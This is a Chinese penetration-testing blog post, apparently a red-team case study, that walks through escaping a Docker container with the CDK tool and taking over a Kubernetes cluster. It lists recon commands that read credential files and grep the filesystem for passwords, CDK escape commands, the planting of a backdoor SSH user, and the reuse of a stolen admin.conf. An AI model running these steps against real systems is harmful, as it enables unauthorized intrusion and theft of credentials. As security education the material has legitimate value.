攻防中通过docker逃逸接管k8s【经典打法】
2023-12-22 08:2:40 Author: 李白你好(查看原文) 阅读量:44 收藏

免责声明:由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

1

前言

不管你在打什么比赛,所做的第一件事情就是信息收集,然后利用所收集到的信息进行打点。这个点的好坏决定了你后续内网渗透的难易程度。【当然内网渗透、突破隔离是非常吃技术的】。

那么如果在获取一个点后发现是一个阿里云+dockers的环境,又该如何应对。

起因就是因为一个log4j引起的一系列云原生攻防,打完后发现是一个极为经典的案例,所以记录下来分享给大家。

文中的IP和图中已经做了规避处理,请勿对号入座。

2

发现docker

利用log4j打点,咱们就不说了,懂的都懂,利用当年爆出的核弹级别的漏洞获取一个shell,并上线c2,上个socks隧道,就可以开始内网渗透了。

那么第一步就是信息收集,Linux方面的信息收集其实也有很多东西:

以下是我列出来的,我常收集的东西,每次获取到Linux的权限,务必要执行一下命令,进行最基本的信息收集。

在进程信息、路由信息、历史命令、ssh文件中通常能收集到极其敏感的密码、文件、应用、网络等信息。

系统信息 uname -a路由信息 route进程信息 ps -auxARP缓存 arp -v地址信息 ip address网络状态 ss -atunp在线用户 who历史登录用户信息 last上次登录用户信息 lastlog计划任务 crontab -l系统相关信息 cat /etc/*releaseicmp是否出网 ping -c 2 1.2.4.8tcp是出网   curl cip.cctcp是否出网 echo tcp > /dev/tcp/www.baidu.com/80敏感文件及内容检索:find / -exec grep -ir 'password' {} \; 2>/dev/null软件信息 dpkg -l历史命令 /root/.bash_historyDNS配置 /etc/resolv.confSSH文件 /root/.sshhosts:  /etc/hosts

通过扫描发现ttydTerminal,未授权直接获取到shell。但是进去后信息收集发现这是个docker。

3

docker逃逸

不管是什么环境第一步都是信息收集,那么下面我来分享下我在docker环境下是如何信息收集的:

常规信息收集:ls /usr/bin && ls /bin     可运行的命令uname -a      显示系统信息cat /proc/1/cgroup   当前处于何种容器cat /proc/net/unix       看是否有/systemd/.run/user/
进程信息【重点关注ssh tomcat nginx python kube docker】:ps -efnetstat -pantuenv
敏感文件收集:docker.sock .git  .kube/config  /etc/kubernetes/admin.conf   /.bash_history /var/run/secrets/kubernetes.io/serviceaccount/token
挂载情况收集:cat /proc/self/mountsfdisk -l
其他docker信息收集:capsh —print        打印出当前容器里已有的 Capabilities 权限如果没有capsh命令:cat /proc/1/status 获取到 Capabilities hex 记录之后,capsh —decode 解码出 Capabilities 的可读字符串即可。判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff。

上面是手工在docker中收集的命令tips,当然这也是必须要了解的,不然你看自动化工具收集的结果也看不懂!

那么下面直接利用cdk进行信息收集及逃逸:

./cdk evaluate --full   

容器信息收集,内容包括如下: 

通过使用cdk进行收集,通过查看收集结果我们可以得到可以逃逸的点。比如收集的特权容器、挂载情况、敏感服务等。

1、特权容器逃逸 

通过cdk收集的结果可以看到:

可以直接使用命令进行逃逸./cdk run mount-disk

该脚本将自动化识别当前容器内的挂载情况,并将宿主机的物理磁盘挂载到容器中,从而使容器中可以编辑宿主机文件(如修改宿主机的/etc/crontab)完成逃逸。

2023年11月02日10时54分49秒挂载错误。可能的原因:目标容器没有特权。:退出状态32 2023年11月02日10:54:49利用挂载磁盘失败

2、cgroup目录挂载

自动化逃逸与宿主机共享cgroup的容器。常用于逃逸特权容器。

./cdk run mount-cgroup ""

3、挂载Docker Socket逃逸

通过如下命令,或者cdk命令可check该点

check:./cdk run docker-sock-check./cdk run docker-sock-check /var/run/docker.sock利用执行命令:./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"

4、内核漏洞逃逸

Docker容器不同于虚拟机,它与宿主机操作系统共享内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。

当宿主主机的内核存在安全漏洞时会一并影响Docker的安全,所以其实就是找内核漏洞,攻击者直接可以利用Docker容器和宿主机操作系统之间的内核漏洞来实现逃逸。实现直接获取宿主机root权限。

结果:

利用mount-cgroup成功逃逸。

在利用工具的同时,提醒大家,一些原理是很有必要进行学习的。

./cdk run mount-cgroup "ifconfig"

逃逸后 查看到sshd port: 22 。 添加后门用户 连接ssh  port:22

4

横向拿下k8s Server

第一步还是进行信息收集,发现id_rsa 私钥,利用私钥复用多台主机。还收集到了k8s凭证信息,发现k8s api server在172.27.123.123:6443 美滋滋。 这块还可以通过netstat网络连接发现通讯的6443端口定位到api server

所以下一步就是拿下k8s server

连接到api server,发现该服务器上没有admin的token 。

利用发现的私钥进行复用,登录多台主机,找到k8s的管理机,在在服务器上找到admin.conf。

利用该admin.conf直接接管

apiVersion: v1clusters:- cluster:    certificate-authority-data:**        server: https://172.27.123.123:6443  name: kubernetescontexts:- context:    cluster: kubernetes    user: kubernetes-admin  name: kubernetes-admin@kubernetescurrent-context: kubernetes-admin@kuberneteskind: Configpreferences: {}users:- name: kubernetes-admin  user:    client-certificate-data: **    client-key-data: **

[root@** kubernetes]# kubectl get pods --all-namespaces -o wide --kubeconfig=/etc/kubernetes/admin.conf 

共500+个pods,结束战斗。

5

加入我们

作为渗透测试工程师有什么有趣的经历?

红队外网打点实战案例总结

关于验证码渗透的最全总结


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247502793&idx=1&sn=9518a910bc6e64306732381354764905&chksm=c13d46c09c0d7740970f492aab2b14bcf1f03650638463a0192d5b96cd376ad146519acc65f2&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh